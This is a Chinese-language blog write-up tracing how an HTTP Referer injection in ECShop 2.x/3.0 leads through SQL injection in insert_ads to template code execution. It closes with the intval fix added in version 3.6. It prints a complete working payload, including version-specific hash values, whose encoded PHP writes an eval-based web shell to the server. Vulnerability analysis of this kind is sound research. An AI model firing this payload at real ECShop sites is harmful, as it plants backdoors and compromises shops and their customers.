ECShop 2.x和3.0 代码执行漏洞分析过程

ECShop 2.x和3.0 代码执行漏洞分析过程究

Posted by T-bag on June 19, 2018

前言

ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。2.x版本跟3.0版本存在代码执行漏洞。

漏洞原理

ECShop 没有对$GLOBAL[ ‘_SERVER’][‘HTTP_REFERER’]变量进行验证,导致用户可以将任意代码插入到smarty的user_passport.dwt模板中,随后insert_mod根据模板内容动态执行相应的函数,用户插入恶意代码导致模板动态执行了lib_insert下的insert_ads方法,通过SQL注入,返回构造的执行代码,致使后面调用smarty的fetch函数,成功执行恶意代码。

环境搭建

IDE : PHPStorm PHP: 5.4 ECshop3.0ECShop 2.7.3

分析过程

  1. 整体功能 先过一下整体的功能,首先进入到user.php中,

    https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Ff84813e0-bb02-4056-85c8-4886b97e082b/C8CD12E6-BB85-4BFF-8038-080E02575405.png

正常情况下,程序会将$GLOBALS[‘_SERVER’][‘HTTP_REFERER’]; 赋值给了$back_act,接着通过smarty模板引擎的的assign和display进行赋值和和传值给了user_passport.dwt页面模板。 这时候user_passport.dwt页面模板的内容是这样子的。

https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F8f72e2ff-ff0c-4af1-9622-346e98d91196/9BE47CB9-502E-4A13-B7F6-8047468B6EBB.png

进入到$smarty->display中,通过inser_mod的split和反序列话之后调用动态函数获得购物信息和会员信息的过程,将会默认执行user_passport.dw上面的两个函数,及lib_insert下的 insert_cart_info函数//调用购物信息 insert_member_info函数 //调用会员信息 然后完成前端的展示

https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F85e46faa-9c1a-4f47-970a-90d2c02153f7/F0DE5A68-79BC-43F6-A522-543E35EE82D2.png

inser_mod函数

https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F0dbf2f8d-b318-43c9-8d58-53e8c1c13a08/1BC3419A-FF7D-42EA-ACFF-A24E27A72B2C.png

  1. Payload

    45ea207d7a2b68c49582d2d22adf953aads a:2:{s:3:”num”;s:280:”/ union select 1,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4975634768774A79776E50443977614841675A585A686243676B58314250553152624D5445784D5630704F79412F506963702729293B2F2F7D787878,10– -“;s:2:”id”;s:3:”’/”;}
  2. 开始分析 在user.php 中的通过执行登陆操作的时候,将$GLOBALS[‘_SERVER’][‘HTTP_REFERER’]; 的值修改为我们的代码

    https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F2551ea13-fffe-4a39-aa59-4b6894298915/7060CBBA-584D-458C-88CD-E4BEFC2AD198.png

这时候$back_act的值就是我们篡改之后的REFERER值了 接着执行

$smarty->assign('back_act', $back_act);  //赋值
$smarty->display('user_passport.dwt'); //传值到模板上

这时候模板上的back_act值是这样的

https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Facdecfc0-84b8-44a4-a749-f9e25cd27a29/6FD91DC8-A167-4A70-A937-21229FB8063B.png

在观察堆栈参数的时候,可以观察到this->_echash 的值跟我们的Payload的值是一样的,这是ECSHOP的固定的HASH值,2.7版本的_echash值为554fcae493e564ee0dc75bdf2ebf94ca而3.x版本的_echash值为45ea207d7a2b68c49582d2d22adf953,所以所用的Payload也不一样

https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F1abefd1f-1d3d-4d2d-aca5-0ad9cfcfb8fa/37705A27-1295-48D9-867C-1C2AB4A35701.png

进入到display函数中, $out = $this->fetch($filename, $cache_id); //根据$cache_id获取模板内容也就是user_passport.dwt的内容 接着对内容按照_echash进行分割,

https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fd033ab09-4930-4d34-b73e-4b0d8df41b82/7CCE33BD-1C8F-4BCB-8608-4C70FCB3541A.png

分割完之后会先执行两个默认函数,然后才执行我们的代码 接着会进入到$k[$key] = $this->insert_mod($val); 会进入到insert_mod函数中 跟进。可以看到我们输入的字符串根据|进行了分割,并分别赋值给了$fun$para

https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F29876ded-a146-4808-9872-e835e714cf6d/5B21EC64-7C41-46A3-B521-B4B1A082676A.png

最后的到的值类似于$fun = insert_ads $para = array(‘num’=>”*/union…”,’id’=>”*/”)

https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F10cc4317-a8db-42a0-a59d-0642c6bc1184/A94307AB-DA3C-4021-8E85-2D4CD9C1DB9E.png

到了return $fun($para);这里,将会执行insert_ads($para) 函数,跟进 可以看到这里执行了SQL语句,$arr[‘id’]和$arr[‘num’],正是我们传进来的数组,可控,从而造成了注入。 这时候在数据库中,执行的语句为:

SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop3_0`.`ecs_ad` AS a LEFT JOIN `ecshop3_0`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1536052713' AND end_time >= '1536052713' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,0x272f2a,3,4,5,6,7,8,0x,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4975634768774A79776E50443977614841675A585A686243676B58314250553152624D5445784D5630704F79412F506963702729293B2F2F7D787878,10-- -

https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F45bcbad2-5745-4537-977f-08a740187c2e/E0E934AA-18FB-4976-ABA1-78840B14FA7D.png

数据库position_id和position_style字段分别被union select 查询覆盖为了 '/*{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp'));//}xxx

https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fc1e7b1d0-5646-4bf3-9b11-e904b18feefc/BBAE0A94-7F70-42CF-9F56-841E80D9BD7A.png

查询结束之后,根据$position_style的值执行了smarty的fetch函数 $val = $GLOBALS[‘smarty’]->fetch($position_style); //执行了smarty的fetch函数 跟进,看到这里$out = $this->_eval($this->fetch_str(substr($filename, 4)));最终执行了语句

这时候filename=” str:{$asd’];assert(base64_decode(‘ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp’));//}xxx”

看一下这里的字符串处理,首先使用substr切割 然后在进入到$this->fetch_str中,可以看到返回内容为<?php echo xx>格式的。

https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fff20144a-9acc-482e-8023-aeda4972c024/4032A676-9DDF-44AE-BB25-F76D0DC7AD17.png

在跟入到$this->get_val中,执行了$p = $this->make_var($val); 跟入。

https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F6d2af22d-07dd-4357-8d35-026ed66e5107/E50AC912-870E-47F1-986C-807C384EAA70.png

字符串处理最后返回的值为: $this->_var['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp'));//']

拼接在一起,最后返回的给前端数据为: <?php echo $this->_var['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp'));//>

最终形成代码执行。

https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F290afa5f-84fd-4b95-ba3f-a85eef9c5068/A75AD523-A907-4CA2-B41C-FCB3EFF2D8F9.png

  1. 代码执行的调用链

    https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F9f3ea03d-ad75-47df-8264-47544076f615/A04BB526-9401-492C-B787-E95D85D4F919.png

修复方案

在ECShop3.6版本中insert_ads函数对$arr[‘num’]和$arr[‘id’]进行了强制类型转换。 $arr[‘num’] = intval($arr[‘num’]); $arr[‘id’] = intval($arr[‘id’]);

结尾

对于ECshop 3.6的强制转换还是想不出有什么Bypass的方法。